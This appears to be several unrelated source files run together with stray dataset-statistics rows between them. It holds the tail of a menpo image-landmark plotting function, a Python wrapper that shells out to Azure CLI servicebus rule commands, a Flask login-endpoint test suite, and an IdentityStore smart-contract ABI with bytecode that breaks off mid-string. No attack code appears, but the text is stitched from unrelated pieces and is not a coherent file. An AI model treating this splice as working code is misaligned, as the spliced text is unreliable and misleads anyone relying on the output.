numbers_horizontal_align, numbers_vertical_align,
legend_n_columns, legend_border_axes_pad, legend_rounded_corners,
legend_title, legend_horizontal_spacing, legend_shadow,
legend_location, legend_font_name, legend_bbox_to_anchor,
legend_border, legend_marker_scale, legend_vertical_spacing,
legend_font_weight, legend_font_size, render_legend,
legend_font_style, legend_border_padding, figure_size,
render_axes, axes_font_name, axes_font_size, axes_font_style,
axes_x_limits, axes_y_limits, axes_font_weight, interpolation,
alpha):
import matplotlib.pyplot as plt
global glyph
if glyph is None:
from menpo.visualize.image import glyph
# This makes the code shorter for dealing with masked images vs non-masked
# images
mask_arguments = ({'masked': masked_enabled}
if image_is_masked else {})
# plot
if render_landmarks and not group == ' ':
# show image with landmarks
if glyph_enabled or sum_enabled:
# image, landmarks, masked, glyph
renderer = glyph(image, vectors_block_size=glyph_block_size,
use_negative=glyph_use_negative,
channels=channels).\
view_landmarks(
group=group, with_labels=with_labels, without_labels=None,
figure_id=renderer.figure_id, new_figure=False,
render_lines=render_lines, line_colour=line_colour,
line_style=line_style, line_width=line_width,
render_markers=render_markers, marker_style=marker_style,
marker_size=marker_size,
marker_face_colour=marker_face_colour,
marker_edge_colour=marker_edge_colour,
marker_edge_width=marker_edge_width,
render_numbering=render_numbering,
numbers_horizontal_align=numbers_horizontal_align,
numbers_vertical_align=numbers_vertical_align,
numbers_font_name=numbers_font_name,
numbers_font_size=numbers_font_size,
numbers_font_style=numbers_font_style,
numbers_font_weight=numbers_font_weight,
numbers_font_colour=numbers_font_colour,
render_legend=render_legend, legend_title=legend_title,
legend_font_name=legend_font_name,
legend_font_style=legend_font_style,
legend_font_size=legend_font_size,
legend_font_weight=legend_font_weight,
legend_marker_scale=legend_marker_scale,
legend_location=legend_location,
legend_bbox_to_anchor=legend_bbox_to_anchor,
legend_border_axes_pad=legend_border_axes_pad,
legend_n_columns=legend_n_columns,
legend_horizontal_spacing=legend_horizontal_spacing,
legend_vertical_spacing=legend_vertical_spacing,
legend_border=legend_border,
legend_border_padding=legend_border_padding,
legend_shadow=legend_shadow,
legend_rounded_corners=legend_rounded_corners,
render_axes=render_axes, axes_font_name=axes_font_name,
axes_font_size=axes_font_size,
axes_font_style=axes_font_style,
axes_font_weight=axes_font_weight,
axes_x_limits=axes_x_limits, axes_y_limits=axes_y_limits,
figure_size=figure_size, interpolation=interpolation,
alpha=alpha, **mask_arguments)
else:
renderer = image.view_landmarks(
channels=channels, group=group, with_labels=with_labels,
without_labels=None, figure_id=renderer.figure_id,
new_figure=False, render_lines=render_lines,
line_colour=line_colour, line_style=line_style,
line_width=line_width, render_markers=render_markers,
marker_style=marker_style, marker_size=marker_size,
marker_face_colour=marker_face_colour,
marker_edge_colour=marker_edge_colour,
marker_edge_width=marker_edge_width,
render_numbering=render_numbering,
numbers_horizontal_align=numbers_horizontal_align,
numbers_vertical_align=numbers_vertical_align,
numbers_font_name=numbers_font_name,
numbers_font_size=numbers_font_size,
numbers_font_style=numbers_font_style,
numbers_font_weight=numbers_font_weight,
numbers_font_colour=numbers_font_colour,
render_legend=render_legend, legend_title=legend_title,
legend_font_name=legend_font_name,
legend_font_style=legend_font_style,
legend_font_size=legend_font_size,
legend_font_weight=legend_font_weight,
legend_marker_scale=legend_marker_scale,
legend_location=legend_location,
legend_bbox_to_anchor=legend_bbox_to_anchor,
legend_border_axes_pad=legend_border_axes_pad,
legend_n_columns=legend_n_columns,
legend_horizontal_spacing=legend_horizontal_spacing,
legend_vertical_spacing=legend_vertical_spacing,
legend_border=legend_border,
legend_border_padding=legend_border_padding,
legend_shadow=legend_shadow,
legend_rounded_corners=legend_rounded_corners,
render_axes=render_axes, axes_font_name=axes_font_name,
axes_font_size=axes_font_size, axes_font_style=axes_font_style,
axes_font_weight=axes_font_weight, axes_x_limits=axes_x_limits,
axes_y_limits=axes_y_limits, figure_size=figure_size,
interpolation=interpolation, alpha=alpha, **mask_arguments)
else:
# either there are not any landmark groups selected or they won't
# be displayed
if glyph_enabled or sum_enabled:
# image, not landmarks, masked, glyph
renderer = glyph(image, vectors_block_size=glyph_block_size,
use_negative=glyph_use_negative,
channels=channels).view(
render_axes=render_axes, axes_font_name=axes_font_name,
axes_font_size=axes_font_size, axes_font_style=axes_font_style,
axes_font_weight=axes_font_weight, axes_x_limits=axes_x_limits,
axes_y_limits=axes_y_limits, figure_size=figure_size,
interpolation=interpolation, alpha=alpha, **mask_arguments)
else:
# image, not landmarks, masked, not glyph
renderer = image.view(
channels=channels, render_axes=render_axes,
axes_font_name=axes_font_name, axes_font_size=axes_font_size,
axes_font_style=axes_font_style,
axes_font_weight=axes_font_weight, axes_x_limits=axes_x_limits,
axes_y_limits=axes_y_limits, figure_size=figure_size,
interpolation=interpolation, alpha=alpha, **mask_arguments)
# show plot
plt.show()
return renderer
def _extract_groups_labels(image):
r"""
Function that extracts the groups and labels from an image's landmarks.
Parameters
----------
image : :map:`Image` or subclass
The input image object.
Returns
-------
group_keys : `list` of `str`
The list of landmark groups found.
labels_keys : `list` of `str`
The list of lists of each landmark group's labels.
"""
groups_keys, labels_keys = _extract_group_labels_landmarks(image.landmarks)
return groups_keys, labels_keys
def _extract_group_labels_landmarks(landmark_manager):
r"""
Function that extracts the groups and labels from a landmark manager object.
Parameters
----------
landmark_manager : :map:`LandmarkManager` or subclass
The input landmark manager object.
Returns
-------
group_keys : `list` of `str`
The list of landmark groups found.
labels_keys : `list` of `str`
The list of lists of each landmark group's labels.
"""
groups_keys = landmark_manager.keys()
if len(groups_keys) == 0:
groups_keys = [' ']
labels_keys = [[' ']]
else:
labels_keys = [landmark_manager[g].keys() for g in groups_keys]
return groups_keys, labels_keys
| 47.183492
| 98
| 0.576916
| 8,437
| 79,457
| 5.108451
| 0.049781
| 0.02181
| 0.020905
| 0.025615
| 0.85
| 0.821647
| 0.782135
| 0.75949
| 0.745499
| 0.734733
| 0
| 0.013138
| 0.3352
| 79,457
| 1,683
| 99
| 47.211527
| 0.802794
| 0.135407
| 0
| 0.730456
| 0
| 0
| 0.11855
| 0.015885
| 0
| 0
| 0
| 0
| 0
| 1
| 0.01873
| false
| 0
| 0.01873
| 0
| 0.040717
| 0.010586
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ce2b74ab0157f867b0bd325c4c0e7c635c4e997
| 3,446
|
py
|
Python
|
test/pyaz/servicebus/topic/subscription/rule/__init__.py
|
bigdatamoore/py-az-cli
|
54383a4ee7cc77556f6183e74e992eec95b28e01
|
[
"MIT"
] | null | null | null |
test/pyaz/servicebus/topic/subscription/rule/__init__.py
|
bigdatamoore/py-az-cli
|
54383a4ee7cc77556f6183e74e992eec95b28e01
|
[
"MIT"
] | 9
|
2021-09-24T16:37:24.000Z
|
2021-12-24T00:39:19.000Z
|
test/pyaz/servicebus/topic/subscription/rule/__init__.py
|
bigdatamoore/py-az-cli
|
54383a4ee7cc77556f6183e74e992eec95b28e01
|
[
"MIT"
] | null | null | null |
import json, subprocess
from ..... pyaz_utils import get_cli_name, get_params
def create(resource_group, namespace_name, topic_name, subscription_name, name, action_sql_expression=None, action_compatibility_level=None, enable_action_preprocessing=None, filter_sql_expression=None, enable_sql_preprocessing=None, correlation_id=None, message_id=None, to=None, reply_to=None, label=None, session_id=None, reply_to_session_id=None, content_type=None, enable_correlation_preprocessing=None):
params = get_params(locals())
command = "az servicebus topic subscription rule create " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def show(resource_group, namespace_name, topic_name, subscription_name, name):
params = get_params(locals())
command = "az servicebus topic subscription rule show " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def list(resource_group, namespace_name, topic_name, subscription_name, skip=None, top=None):
params = get_params(locals())
command = "az servicebus topic subscription rule list " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def delete(resource_group, namespace_name, topic_name, subscription_name, name):
params = get_params(locals())
command = "az servicebus topic subscription rule delete " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def update(resource_group, namespace_name, topic_name, subscription_name, name, action_sql_expression=None, action_compatibility_level=None, enable_action_preprocessing=None, filter_sql_expression=None, enable_sql_preprocessing=None, correlation_id=None, message_id=None, to=None, reply_to=None, label=None, session_id=None, reply_to_session_id=None, content_type=None, enable_correlation_preprocessing=None, set=None, add=None, remove=None, force_string=None):
params = get_params(locals())
command = "az servicebus topic subscription rule update " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
| 46.567568
| 461
| 0.719385
| 435
| 3,446
| 5.537931
| 0.156322
| 0.058115
| 0.041511
| 0.053964
| 0.933998
| 0.933998
| 0.933998
| 0.933998
| 0.912827
| 0.912827
| 0
| 0.003524
| 0.176436
| 3,446
| 73
| 462
| 47.205479
| 0.845314
| 0
| 0
| 0.820896
| 0
| 0
| 0.078642
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074627
| false
| 0
| 0.029851
| 0
| 0.179104
| 0.223881
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
49024c6ba195d2ad7accd6ec7d53322f090c0610
| 7,320
|
py
|
Python
|
tests/api/v1/auth/test_login.py
|
rogerokello/weConnect-api
|
e1fb136864842781063a60bae0764defb99e47c6
|
[
"MIT"
] | 1
|
2019-04-18T19:56:31.000Z
|
2019-04-18T19:56:31.000Z
|
tests/api/v1/auth/test_login.py
|
rogerokello/weconnect-practice
|
e1fb136864842781063a60bae0764defb99e47c6
|
[
"MIT"
] | 6
|
2018-02-19T14:17:00.000Z
|
2018-07-08T08:38:02.000Z
|
tests/api/v1/auth/test_login.py
|
rogerokello/weConnect-api
|
e1fb136864842781063a60bae0764defb99e47c6
|
[
"MIT"
] | 1
|
2018-02-26T13:05:49.000Z
|
2018-02-26T13:05:49.000Z
|
import unittest
import json
from app import create_app, db, session
from tests.api.v1 import BaseTestCase
class AuthTestCase(BaseTestCase):
"""Test case for the authentication blueprint."""
def test_user_login(self):
"""Test registered user can login. (POST request)"""
#first register a user
self.client().post('/auth/register',
data=json.dumps(self.user_data),
content_type='application/json'
)
#try to login using registration credentials
login_res = self.client().post('/auth/login',
data=json.dumps(self.user_data),
content_type='application/json'
)
# get the results in json format
result = json.loads(login_res.data.decode())
# Test that the response contains success message
self.assertEqual(result['message'], "You logged in successfully.")
# Assert that the status code returned is equal to 200
self.assertEqual(login_res.status_code, 200)
# Assert that the result has an access token
self.assertTrue(result['access_token'])
def test_login_when_email_used(self):
"""Test registered user can login with email address used for username. (POST request)"""
#first register a user
self.client().post('/auth/register',
data=json.dumps(self.user_data),
content_type='application/json'
)
#try to login using registration credentials
login_res = self.client().post('/auth/login',
data=json.dumps({'username':'rogerokello@gmail.com', 'password':'okello'}),
content_type='application/json'
)
# get the results in json format
result = json.loads(login_res.data.decode())
# Test that the response contains success message
self.assertEqual(result['message'], "You logged in successfully.")
# Assert that the status code returned is equal to 200
self.assertEqual(login_res.status_code, 200)
# Assert that the result has an access token
self.assertTrue(result['access_token'])
def test_login_empty_json(self):
"Test user login rejects when data supplied is not json (POST request)"
#make a request to the register endpoint
res = self.client().post('/auth/login',
data=json.dumps({})
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 201 status code
self.assertEqual(result['message'],
"Please supply json data")
self.assertEqual(res.status_code, 400)
def test_login_no_username_key(self):
"Test user login rejects when no username key supplied (POST request)"
#make a request to the login endpoint
res = self.client().post('/auth/login',
data=json.dumps({"":""}),
content_type='application/json'
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 201 status code
self.assertEqual(result['message'],
"Please supply a 'username'")
self.assertEqual(res.status_code, 400)
def test_login_no_passwd_key(self):
"Test user login rejects when no password key supplied (POST request)"
#register a user
self._register_user()
#make a request to the login endpoint
res = self.client().post('/auth/login',
data=json.dumps({"username":"roger"}),
content_type='application/json'
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 201 status code
self.assertEqual(result['message'],
"Please supply a 'password'")
self.assertEqual(res.status_code, 400)
def test_login_invalid_username(self):
"Test user login rejects invalid username supplied (POST request)"
#register a user
self._register_user()
#make a request to the register endpoint
res = self.client().post('/auth/login',
data=json.dumps({"username":"",
"password":""
}),
content_type='application/json'
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 401 status code
self.assertEqual(result['message'],
"Invalid username or password, Please try again")
self.assertEqual(res.status_code, 401)
def test_login_non_txt_for_values(self):
"Test user login rejects non text supplied for values (POST request)"
#register a user
self._register_user()
#make a request to the register endpoint
res = self.client().post('/auth/login',
data=json.dumps({"username":12,
"password":2334
}),
content_type='application/json'
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 401 status code
self.assertEqual(result['message'],
"Invalid values supplied, Please try again with text values")
self.assertEqual(res.status_code, 401)
def test_login_username_as_no(self):
"Test user login rejects username supplied as a number (POST request)"
#register a user
self._register_user()
#make a request to the register endpoint using a number username
res = self.client().post('/auth/login',
data=json.dumps({"username":123,
"password":""
}),
content_type='application/json'
)
# get the results returned in json format
result = json.loads(res.data.decode())
# assert that the request contains a success message and
# a 401 status code
self.assertEqual(result['message'],
"Invalid values supplied, Please try again with text values")
self.assertEqual(res.status_code, 401)
| 43.058824
| 115
| 0.54194
| 775
| 7,320
| 5.033548
| 0.143226
| 0.061523
| 0.035888
| 0.046142
| 0.865675
| 0.847219
| 0.82466
| 0.819021
| 0.802102
| 0.77698
| 0
| 0.012675
| 0.374863
| 7,320
| 170
| 116
| 43.058824
| 0.839816
| 0.281284
| 0
| 0.59
| 0
| 0
| 0.202777
| 0.003739
| 0
| 0
| 0
| 0
| 0.18
| 1
| 0.08
| false
| 0.08
| 0.04
| 0
| 0.13
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
0b23ba128892d5f2d92fada5417b21e201338421
| 488,785
|
py
|
Python
|
middle-tier/app/contract.py
|
Surfndez/Microsoft-Identities-on-the-Ethereum-Blockchain
|
35fc2ac329f3a17b59d5bb90115e1e8f7e2ae501
|
[
"MIT"
] | 4
|
2018-07-23T22:01:16.000Z
|
2020-09-22T11:15:39.000Z
|
middle-tier/app/contract.py
|
shawntabrizi/Microsoft-Identities-on-the-Ethereum-Blockchain
|
35fc2ac329f3a17b59d5bb90115e1e8f7e2ae501
|
[
"MIT"
] | 1
|
2021-03-08T20:43:06.000Z
|
2021-03-08T20:43:06.000Z
|
middle-tier/app/contract.py
|
Surfndez/Microsoft-Identities-on-the-Ethereum-Blockchain
|
35fc2ac329f3a17b59d5bb90115e1e8f7e2ae501
|
[
"MIT"
] | 5
|
2018-07-20T00:23:11.000Z
|
2020-09-22T11:15:47.000Z
|
IDENTITY_STORE_JSON = r"""
{
"contractName": "IdentityStore",
"abi": [
{
"constant": false,
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "previousOwner",
"type": "address"
}
],
"name": "OwnershipRenounced",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"constant": false,
"inputs": [
{
"name": "_tenantHash",
"type": "bytes32"
},
{
"name": "_userAddress",
"type": "address"
},
{
"name": "_timestamp",
"type": "uint256"
},
{
"name": "_tenantId",
"type": "string"
}
],
"name": "setTenant",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tenantId",
"type": "string"
},
{
"name": "_userAddress",
"type": "address"
},
{
"name": "_minTimestamp",
"type": "uint256"
}
],
"name": "isValid",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
],
"bytecode": "0x6080604052336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611441806100536000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806348d7de6314610072578063715018a61461011357806377cfe1c11461012a5780638da5cb5b146101d5578063f2fde38b1461022c575b600080fd5b34801561007e57600080fd5b506101116004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061026f565b005b34801561011f57600080fd5b5061012861050b565b005b34801561013657600080fd5b506101bb600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061060d565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61083e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023857600080fd5b5061026d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610863565b005b610277611303565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102d557600080fd5b6102de866108ca565b1580156102f157506102ef87610930565b155b156103f1576060604051908101604052808860001916815260200186815260200185815250925082600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000019060001916905560208201518160010155604082015181600201908051906020019061038e929190611328565b509050508560026000896000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610502565b6103fa866108ca565b801561040c575061040a87610930565b155b1561046657600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154915061046182888761099e565b610502565b61046f87610930565b8015610481575061047f866108ca565b155b156104d35760026000886000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506104ce8187610d34565b610502565b6104dc87610930565b80156104ed57506104ec866108ca565b5b15610501576104fc8786611128565b610502565b5b50505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610617611303565b610620846108ca565b151561062f5760009150610836565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561072f5780601f106107045761010080835404028352916020019161072f565b820191906000526020600020905b81548152906001019060200180831161071257829003601f168201915b5050505050815250509050846040518082805190602001908083835b602083101515610770578051825260208201915060208101905060208303925061074b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191681604001516040518082805190602001908083835b6020831015156107db57805182526020820191506020810190506020830392506107b6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151561081c5760009150610836565b82816020015110156108315760009150610836565b600191505b509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108be57600080fd5b6108c781611209565b50565b600080600102600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600019161415610926576000905061092b565b600190505b919050565b60008060026000846000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109945760009050610999565b600190505b919050565b60006109a8611303565b6109b0611303565b6109b986610930565b1515610a2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4f6c64206861736820646f6573206e6f742065786973742e000000000000000081525060200191505060405180910390fd5b610a3685610930565b151515610aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4e6577206861736820697320616c726561647920726567697374657265642e0081525060200191505060405180910390fd5b60026000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be95780601f10610bbe57610100808354040283529160200191610be9565b820191906000526020600020905b815481529060010190602001808311610bcc57829003601f168201915b5050505050815250509150606060405190810160405280866000191681526020018581526020018360400151815250905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190600019169055602082015181600101556040820151816002019080519060200190610c90929190611328565b5090505060026000876000191660001916815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558260026000876000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050565b610d3c611303565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9757600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b5050505050815250509050610eab826108ca565b151515610f46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001807f5468657265277320616c726561647920616e206163636f756e7420746965642081526020017f746f20746869732061646472657373000000000000000000000000000000000081525060400191505060405180910390fd5b610f4f836108ca565b1515610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f54686572652773206e6f206163636f756e74207469656420746f20746865206181526020017f646472657373206f726967696e0000000000000000000000000000000000000081525060400191505060405180910390fd5b816002600083600001516000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001906000191690556020820151816001015560408201518160020190805190602001906110bd929190611328565b50905050600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600061112191906113a8565b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118357600080fd5b806001600060026000866000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561124557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060604051908101604052806000801916815260200160008152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061136957805160ff1916838001178555611397565b82800160010185558215611397579182015b8281111561139657825182559160200191906001019061137b565b5b5090506113a491906113f0565b5090565b50805460018160011615610100020316600290046000825580601f106113ce57506113ed565b601f0160209004906000526020600020908101906113ec91906113f0565b5b50565b61141291905b8082111561140e5760008160009055506001016113f6565b5090565b905600a165627a7a723058207c67c458c4169c933a8ba606e6b48c72b5bf593805c8b855dcff2fdc024365950029",
"deployedBytecode": "0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806348d7de6314610072578063715018a61461011357806377cfe1c11461012a5780638da5cb5b146101d5578063f2fde38b1461022c575b600080fd5b34801561007e57600080fd5b506101116004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061026f565b005b34801561011f57600080fd5b5061012861050b565b005b34801561013657600080fd5b506101bb600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061060d565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61083e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023857600080fd5b5061026d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610863565b005b610277611303565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102d557600080fd5b6102de866108ca565b1580156102f157506102ef87610930565b155b156103f1576060604051908101604052808860001916815260200186815260200185815250925082600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000019060001916905560208201518160010155604082015181600201908051906020019061038e929190611328565b509050508560026000896000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610502565b6103fa866108ca565b801561040c575061040a87610930565b155b1561046657600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154915061046182888761099e565b610502565b61046f87610930565b8015610481575061047f866108ca565b155b156104d35760026000886000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506104ce8187610d34565b610502565b6104dc87610930565b80156104ed57506104ec866108ca565b5b15610501576104fc8786611128565b610502565b5b50505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610617611303565b610620846108ca565b151561062f5760009150610836565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600